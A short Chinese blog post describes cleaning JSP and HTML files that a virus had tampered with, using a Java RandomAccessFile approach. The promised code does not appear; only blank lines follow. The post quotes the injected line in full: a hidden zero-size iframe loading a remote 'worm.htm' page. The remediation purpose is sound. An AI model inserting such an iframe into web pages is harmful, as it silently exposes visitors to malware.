修復被病毒修改的網頁
???? 前幾天機器中毒,開始時只是IE彈彈窗口,后來嚴重到不可以忍受以至重裝,今天打開一些J以前備份下來的JSP文件看看,每個文件最后都加上了一行:"<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>",這樣打開這些網頁就可能中招,再看看HTML文件也同樣遭此毒手。???????于是便開始用Java寫個小程序來修復這些文件,要高效率地修復這些文件,看來只能使用RandomAccessFile,因為其它的IO流都是順序讀寫的,而RandomAccessFile可以跳到指定的位置。方法很簡單,計算一下這行垃圾的起始位置,然后用空格替換之。沒什么好說的,值得注意的是寫空格時,只有用randomAccessFile.writeBytes(" ")才行,其它的寫方法會寫入亂碼,待探究。
???????
?????? 下面將代碼貼上,以備忘。























































































